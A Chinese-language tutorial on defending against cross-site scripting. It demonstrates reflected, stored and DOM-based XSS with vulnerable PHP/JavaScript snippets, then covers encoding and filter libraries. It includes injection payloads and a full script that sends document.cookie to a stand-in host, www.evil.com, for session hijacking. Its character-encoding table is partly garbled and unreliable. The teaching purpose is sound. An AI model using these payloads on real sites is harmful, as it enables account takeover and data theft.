XSS 跨站脚本攻击 的防御解决方案

虽然说在某些特殊情况下依然可能会产生XSS，但是如果严格按照此解决方案则能避免大部分XSS攻击。

原则：宁死也不让数据变成可执行的代码，不信任任何用户的数据，严格区数据和代码。

XSS的演示

Example 1:
几乎所有的网站上看到一个搜索框。有了这个搜索框，你可以搜索并找到在网站上存放的资料。这种搜索形式看起来像这样

1.  
   <form action="search.php" method="get">
2.  
   <input type="text" name="q" value="" />
3.  
   <input type="submit" value="send" />
4.  
   </form>

在search.php页面中，代码显示了搜索的结果，并且列出了用户输入的搜索关键字。形式如下:
“Search results for Keyword”或者”You Searched for Keyword”

search.php可以这么写来模拟功能:

<h3>You Searched for: <?php echo($_GET['q']); ?>

无论你输入任何关键字，它将随搜索结果一起被显示在网页上。现在想想会发生什么，如果一个攻击者试图从这个地方注入以下恶意脚本。

<script>alert('XSS injection')</script>

可以看到，因为缺少对用户输入的有效的”编码”和”过滤”。导致了XSS攻击的发生，其实从本质上理解，XSS就是一种HTML的注入，和传统的buffer overflow是类似的思想，即没有对数据和代码进行有效的分离，在缓冲区溢出总，攻击者在通过超长的数据包发送覆盖了程序buffer的关键返回ret位置，导致CPU控制流的劫持，错误地把攻击者数据当作代码来执行，最后导致了缓冲区溢出。

而XSS中的HTML注入也是一种利用代码和数据未有效分离的攻击，只不过攻击发生在受害者用户的浏览器上，攻击者将数据发送给服务器，服务器没有对输入的数据进行有效的”编码”和”过滤”(即去除数据本身的代码特性，对于HTML来说就是去除它们称为Tag标签的可能)，导致了这些数据在用户的浏览器上得到执行，最终导致XSS攻击的发生。

Example 2:

很多网站都有私信或者留言板功能。登录用户可以发表评论或者给其他用户(包括管理员)发送私信。一个最简单的模拟表单如下:

1.  
   <form action="sendmessage.php" method="post'">
2.  
   <textarea name="message"> </textarea>
3.  
   <input type="submit" value="send" />
4.  
   </form>

当用户点击发送时，这条消息会被保存在数据库中指定的数据表中，另一个用户当打开这条消息的时候将看到发送的内容。但是，如果一个恶意攻击者发送的内容包含了一些javascript代码，这些代码用于偷取敏感的cookie信息。当用户打开看到这条消息的时候，恶意的javascript代码就会得到执行，造成敏感cookie信息泄漏。攻击者可以利用获得这些cookie信息进行session hijacking会话劫持，直接以合法用户的身份登录其他用户的账户。

恶意攻击者可以在消息框中加入一下javascript代码:

1.  
   var url = "http://www.evil.com/index.php"; //攻击者控制的服务器
2.  
   var postStr = "ck=" + document.cookie;
3.  
   var ajax = null;
4.  
   if(window.XMLHttpRequest())
5.  
   {
6.  
   ajax = new XMLHttpRequest();
7.  
   }
8.  
   else if(window.ActiveXObject)
9.  
   {
10.  
    ajax = new ActiveXObject("Microsoft.XMLHttp");
11.  
    }
12.  
    else
13.  
    {
14.  
    return;
15.  
    }
16.  
    ajax.open("POST", url, true);
17.  
    ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
18.  
    ajax.send(postStr);
19.  
    ajax.onreadystatechange = function()
20.  
    {
21.  
    if(ajax.readyState == 4 && ajax.status == 200)
22.  
    {
23.  
    //alert("Done!");
24.  
    }
25.  
    }

通过AJAX异步请求，将被攻击者的敏感cookie信息发送给了攻击者控制的服务器。攻击者随后即可利用这些cookie信息以”合法”用户的身份进行登录操作。

这里首先要理清楚几个重要的问题:

1. cookie的作用

Cookie，有时也用其复数形式Cookies，指某些网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据（通常经过加密）。定义于RFC2109（已废弃），最新取代的规范是RFC2965。

也就是说，cookie是用户和服务器之间的桥梁。服务器可以使用session来保存用户的身份信息(ID,购物车等)，但是需要用户在访问网页(发送HTTP数据包)的时候附带上相应的cookie，通过cookie中的特定值来识别sessionID，才能把单独用户和单独的session联系起来。cookie是有状态HTTP交互的一种重要机制。

2. 浏览器的同源策略

在进行cookie窃取的时候，攻击者偷取的cookie是什么，是全部cookie，还是当前这个网站的cookie？要解决这个问题，我们要先了解一些浏览器的同源策略。

1.  
   同源策略，它是由Netscape提出的一个著名的安全策略。
2.  
   现在所有支持JavaScript 的浏览器都会使用这个策略。
3.  
   所谓同源是指，域名，协议，端口相同。
4.  
   当一个浏览器的两个tab页中分别打开来 百度和谷歌的页面
5.  
   当浏览器的百度tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的，
6.  
   即检查是否同源，只有和百度同源的脚本才会被执行。

同源策略(Same Origin Policy)是一种约定，它是浏览器最核心也是最基本的安全功能，如果缺少了同源策略，则浏览器的正常功能可能都会受到影响。可以说web是构建在同源策略的基础之上的，浏览器只是针对同源策略的一种实现。

浏览器的同源策略限制了来自不同源的”document”或脚本，对当前”document”的读取或者设置某些属性。为了不让浏览器的页面行为发生混乱，浏览器提出了”Origin”(源)这以概念，来自不同的Origin的对象无法互相干扰。

因为同源策略的原因，也就导致了我们的XSS Payload(XSS攻击代码)必须在我们希望攻击的同一个域下触发。例如攻击者如果想窃取在www.a.com下的cookie，那就必须在www.a.com这个域(可以是不同页面，但要保证是同一个域)下的的某一个页面放置XSS代码，可以是存储型，也可以是反射型或DOM Baesd型的。

4. XSS攻击的种类

对XSS的分类没有明确的标准，但业界普遍将XSS攻击分为三类。反射型XSS(non-persistent XSS), 存储型XSS(persistent XSS), DOM Based XSS

4.1 非持久性跨站点脚本攻击

非持久性XSS也称为反射型跨站漏洞。它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。如果你看了我们上面所示的例子,第一个例子是一个非持久的XSS攻击。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击)。

4.2 持久的跨站点脚本攻击

持久型跨站点脚本也称为存储跨站点脚本。它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库，当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。在上面的示例中,第二个例子就展示了一个持久的XSS攻击。持久的XSS相比非持久性XSS攻击危害性更大,因为每当用户打开页面，查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

4.3 基于dom的跨站点脚本攻击

基于DOM的XSS有时也称为type0 XSS。当用户能够通过交互修改浏览器页面中的DOM(Document Object Model)并显示在浏览器上时，就有可能产生这种漏洞，从效果上来说它也是反射型XSS。
通过修改页面的DOM节点形成的XSS，称之为DOM Based XSS。

1.  
   <script>
2.  
   function test()
3.  
   {
4.  
   var str = document.getElementById("text").value;
5.  
   document.getElementById("t").innerHTML = "<a href='" + str + "' >testLink</a>";
6.  
   }
7.  
   </script>
8.  
   <div id="t"></div>
9.  
   <input type="text" id="text" value="" />
10.  
    <input type="button" id="s" value="write" onclick="test()" />

在这个场景中，代码修改了页面的DOM节点，通过innerHTML把一段用户数据当作HTML写入到页面中，这就造成了DOM Based XSS

' onclick=alert(/xss/) '

输入后，页面代码就变成了:

<a href='' onclick=alert(/xss/) '' >testLink</a>

点击这个新生成的链接，脚本将被执行。

实际上，这里还有另外一种利用方式—除了构造一个新事件外，还可以选择闭合掉<a>标签，并插入一个新的HTML标签:

'><img src=# onerror=alert(/xss2/) /><'

页面代码变成了:

<a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>

5. XSS漏洞产生的原因

跨站点脚本的主要原因是程序猿对用户的信任。开发人员轻松地认为用户永远不会试图执行什么出格的事情,所以他们创建应用程序,却没有使用任何额外的代码来过滤用户输入以阻止任何恶意活动。另一个原因是,这种攻击有许多变体，用制造出一种行之有效的XSS过滤器是一件比较困难的事情。
但是这只是相对的，对用户输入数据的”编码”和”过滤”在任何时候都是很重要的，我们必须采取一些针对性的手段对其进行防御。

6. 如何创造一个良好的XSS过滤器来阻止大多数XSS攻击代码

6.1 需要重点”编码”和”过滤”的对象

防御XSS有一个原则:

以当前的应用系统为中心，所有的进入应用系统的数据都看成是输入数据(包括从FORM表单或者从数据库获取到的数据)，所有从当前应用系统流出的数据都看作是输出(包括输出到用户浏览器或向数据库写入数据)

对输入的数据进行”过滤”，对输出数据进行”编码”。这里的”编码”也要注意，必须针对数据具体的上下文语境进行针对性的编码。例如数据是输出到HTML中的那就要进行HtmlEncode，如果数据是输出到javascript代码中进行拼接的，那就要进行javascriptEncode。

如果不搞清楚数据具体输出的语境，就有可能因为HtmlParser()和javascriptParser()两种解析引擎的执行先后问题导致看似严密的”编码”形同虚设。

6.2 HtmlEncode HTML编码

它的作用是将字符转换成HTMLEntities，对应的标准是ISO-8859-1
为了对抗XSS，在HtmlEncode中要求至少转换以下字符:

1. & --> &
2.  
   < --> &lt;
3.  
   > --> &gt;
4.  
   " --> "
5.  
   ' --> '
6.  
   / --> /
7.  
   在PHP中:

htmlentities
http://www.w3school.com.cn/php/func_string_htmlentities.asp

htmlspecialchars
http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

6.3 javascriptEncode javascript”编码”

javascriptEncode与HtmlEncode的编码方法不同，HtmlEncode是去编码，而javascriptEncode更多的像转义，它需要使用”\”对特殊字符进行转义。从原理上来讲，这都符合编码函数的一个大原则: 将数据和代码区分开，因为对于HTML Tag来说，我们对其进行”可视化(转换成可以见字符)”的编码可以将数据和HTML的界限分开。而对于javascript来说，我们除了要进行编码之外，还需要对特殊字符进行转义，这样攻击输入的用于”闭合”的特殊字符就无法发挥作用，从而避免XSS攻击，除此之外，在对抗XSS时，还要求输出的变量必须在引号内部，以避免造成安全问题。

escape()
http://www.w3school.com.cn/js/jsref_escape.asp

该方法不会对 ASCII 字母和数字进行编码，也不会对下面这些 ASCII 标点符号进行编码： * @ – _ + . / 。其他所有的字符都会被转义序列(十六进制\xHH)替换。
利用这个编码函数，不仅能防御XSS攻击，还可以防御一些command注入。

7. 一些开源的防御XSS攻击的代码库

1.  
   PHP AntiXSS
2.  
   这是一个不错的PHP库,可以帮助开发人员增加一层保护，防止跨站脚本漏洞。
3.  
    
4.  
   https://code.google.com/p/php-antixss/
5.  
    
6.  
   xss_clean.php filter
7.  
    
8.  
   https://gist.github.com/mbijon/1098477
9.  
    
10.  
    HTML Purifier
11.  
     
12.  
    http://htmlpurifier.org/
13.  
     
14.  
    xssprotect
15.  
     
16.  
    https://code.google.com/p/xssprotect/
17.  
     
18.  
    XSS HTML Filter
19.  
    http://finn-no.github.io/xss-html-filter/